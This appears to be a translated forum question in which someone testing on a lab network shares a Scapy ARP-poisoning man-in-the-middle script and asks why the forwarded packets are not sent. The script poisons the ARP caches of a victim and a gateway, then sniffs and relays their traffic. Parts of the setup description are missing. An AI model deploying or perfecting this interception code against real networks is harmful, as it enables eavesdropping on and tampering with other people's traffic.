scapy
我正在尝试在测试网络上进行中间人攻击。我的设置是这样的:
现在你明白了,下面是代码:
from scapy.all import *
import multiprocessing
import time
class MITM:
packets=[]
def __init__(self,victim=("192.168.116.143","00:0c:29:d1:aa:71" ),node2=("192.168.116.1", "00:50:56:c0:00:08")):
self.victim=victim
self.node2=node2
multiprocessing.Process(target=self.arp_poison).start()
try:
sniff(filter='((dst %s) and (src %s)) or ( (dst %s) and (src %s))'%(self.node2[0], self.victim[0],self.victim[0],self.node2[0]),prn=lambda x:self.routep(x))
except KeyboardInterrupt as e:
wireshark(packets)
#self.arp_poison()
def routep(self,packet):
if packet.haslayer(IP):
packet.show()
if packet[IP].dst==self.victim[0]:
packet[Ether].src=packet[Ether].dst
packet[Ether].dst=self.victim[1]
elif packet[IP].dst==self.node2[0]:
packet[Ether].src=packet[Ether].dst
packet[Ether].dst=self.node2[1]
self.packets.append(packet)
packet.display()
send(packet)
print len(self.packets)
if len(self.packets)==10:
wireshark(self.packets)
def arp_poison(self):
a=ARP()
a.psrc=self.victim[0]
a.pdst=self.node2[0]
b=ARP()
b.psrc=self.node2[0]
b.pdst=self.victim[0]
cond=True
while cond:
send(b)
send(a)
time.sleep(5)
#cond=False
if __name__=="__main__":
mitm=MITM()
此代码在VM2
.
Arp 中毒工作正常,我检查了两台机器的 arp 缓存,并且行为符合我的预期。但在里面routep
,我修改了 src 和 dst mac 地址并尝试将接收到的数据包发送到适当的主机,scapy 给出警告:
WARNING: more Mac address to reach destination not found. Using broadcast
我在wireshark
on中看到VM2
,修改后的数据包没有离开机器。为什么会这样?我错过了什么吗?